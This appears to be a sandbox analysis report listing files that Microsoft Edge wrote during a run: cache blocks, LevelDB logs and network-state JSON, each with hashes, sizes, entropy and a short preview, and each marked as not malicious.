C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	4.989325630401085E-4
Encrypted:	false
SSDEEP:	3:LsulnSul:Lsil
MD5:	BD4CDB2C6C846229469E61461AC20AC9
SHA1:	7183837BCF9B8232CC4ACABD343AD8A7305A8936
SHA-256:	1F8026ADD5D9C7C7224D83268938655AAD8793F27BD9088E1D3BD4C159E96B78
SHA-512:	DB97663C12CB1A50AB6A7F79AFD08D4FCB0EC2367254DE8699449CB7A339EA4AD1E1D5F234266B1FA5C43584975B2B4203D0714FECD84439FBBB26D6266C7758
Malicious:	false
Preview:	........................................w..w../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl/6l:Ls3/6l
MD5:	00737B0CC4C52C883500D77C1B592D9F
SHA1:	A75A1764B59BBF52D0C6255CB48DDAF3AC3B52A0
SHA-256:	5D2F7F67E19EF270C03C1DCDCDAAB5E308255F3F0E4CA5418BEE007E13368F97
SHA-512:	D5FDC0A8E75A86CEF3855B4D51863519B6B54629385068FA9607C2C0B90EE21C743FBED8D19D5EAAB018DA78C80BE277CC4170A8A2541806085EC8A83BE975A2
Malicious:	false
Preview:	.........................................@aw../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.201414067456735
Encrypted:	false
SSDEEP:	12:ZIvYfYebvqBQFUt8/1/+dW05JfYebvqBvJ:QYfYebvZg8/F+JfYebvk
MD5:	7B5EF985A6F0FD4BCC7775D2187F721F
SHA1:	E84FAA72EFA0B8B49C347F54BB971A7EC06F5301
SHA-256:	06BB7ACE7FB2737DB5E7767917CBB3016EECA888432C9E884D413473C3828BD8
SHA-512:	D6EC4EDE6EDE81BD659313FFE78027678BC655F286ADB792ACFCE2CBC2F9516C0F2F92B3EA2DFD74FA748F1DA9075E3C990AF6A7B5BD77E33F86EE4C40421A29
Malicious:	false
Preview:	2024/08/31-20:48:30.307 23e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/08/31-20:48:30.308 23e8 Recovering log #3.2024/08/31-20:48:30.311 23e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.201414067456735
Encrypted:	false
SSDEEP:	12:ZIvYfYebvqBQFUt8/1/+dW05JfYebvqBvJ:QYfYebvZg8/F+JfYebvk
MD5:	7B5EF985A6F0FD4BCC7775D2187F721F
SHA1:	E84FAA72EFA0B8B49C347F54BB971A7EC06F5301
SHA-256:	06BB7ACE7FB2737DB5E7767917CBB3016EECA888432C9E884D413473C3828BD8
SHA-512:	D6EC4EDE6EDE81BD659313FFE78027678BC655F286ADB792ACFCE2CBC2F9516C0F2F92B3EA2DFD74FA748F1DA9075E3C990AF6A7B5BD77E33F86EE4C40421A29
Malicious:	false
Preview:	2024/08/31-20:48:30.307 23e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/08/31-20:48:30.308 23e8 Recovering log #3.2024/08/31-20:48:30.311 23e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\215e5c89-fbea-43df-a1df-69114cc1b932.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF44717.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.555790634850688
Encrypted:	false
SSDEEP:	48:TsIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:QIEumQv8m1ccnvS6
MD5:	0247E46DE79B6CD1BF08CAF7782F7793
SHA1:	B3A63ED5BE3D8EC6E3949FC5E2D21D97ACC873A6
SHA-256:	AAD0053186875205E014AB98AE8C18A6233CB715DD3AF44E7E8EB259AEAB5EEA
SHA-512:	148804598D2A9EA182BD2ADC71663D481F88683CE3D672CE12A43E53B0D34FD70458BE5AAA781B20833E963804E7F4562855F2D18F7731B7C2EAEA5D6D52FBB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}.........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF31b59.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\cc849e75-10a8-4ea1-8c2c-47576612edfb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d911a429-a563-46b7-9ccc-d69d0e0c375b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ea39aa7b-7b8e-4277-9a7d-78bc1ae48e16.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.234897833617561
Encrypted:	false
SSDEEP:	12:R3OvYfYebvqBZFUt8GH1/+GY05JfYebvqBaJ:NMYfYebvyg8Ks+JfYebvL
MD5:	24BC3E79BB699EE33292364869D4E415
SHA1:	B6200CD86E6D87F105FA03D66987CAFD8DD79B35
SHA-256:	7014EFC6F89B8586304E5BF601FBC1437AEEC7766295EF75E01AAF9C3DCE55FE
SHA-512:	241BF3131E19CF09ACBC19540561925C1B4D509261D97949FF61282478A6C53E0473E9EC3C93D4076778A31D28BA95AA0BFF9366EF94FABA4528AED7A9C730E2
Malicious:	false
Preview:	2024/08/31-20:48:45.600 23e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/08/31-20:48:45.602 23e8 Recovering log #3.2024/08/31-20:48:45.608 23e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.234897833617561
Encrypted:	false
SSDEEP:	12:R3OvYfYebvqBZFUt8GH1/+GY05JfYebvqBaJ:NMYfYebvyg8Ks+JfYebvL
MD5:	24BC3E79BB699EE33292364869D4E415
SHA1:	B6200CD86E6D87F105FA03D66987CAFD8DD79B35
SHA-256:	7014EFC6F89B8586304E5BF601FBC1437AEEC7766295EF75E01AAF9C3DCE55FE
SHA-512:	241BF3131E19CF09ACBC19540561925C1B4D509261D97949FF61282478A6C53E0473E9EC3C93D4076778A31D28BA95AA0BFF9366EF94FABA4528AED7A9C730E2
Malicious:	false
Preview:	2024/08/31-20:48:45.600 23e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/08/31-20:48:45.602 23e8 Recovering log #3.2024/08/31-20:48:45.608 23e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.210667637671193
Encrypted:	false
SSDEEP:	6:udhEj+q2Pwkn23oH+TcwtpIFUt8jdh/XdZmw+jdh/XhVkwOwkn23oH+Tcwta/WLJ:EvYfYebmFUt8nt/+nf5JfYebaUJ
MD5:	4896C2047E2A029EE7B1EB3F3F3D4EC7
SHA1:	A8BE62FC8C84927C00B678FB2372317204B687DF
SHA-256:	E756465C32A22BBB453E3244C0CF04E16C5C57839D326F8C407606B6E2D24442
SHA-512:	556DD64286141CA69C3DF5952475E67F1DC255B502E4DE8D4AD0A9E5F4485674029BC273E5D93D6D21BBB6EC5EECDA337F2FCA2464C338B2E38635D24003C76E
Malicious:	false
Preview:	2024/08/31-20:48:29.718 2408 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/08/31-20:48:29.719 2408 Recovering log #3.2024/08/31-20:48:29.719 2408 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

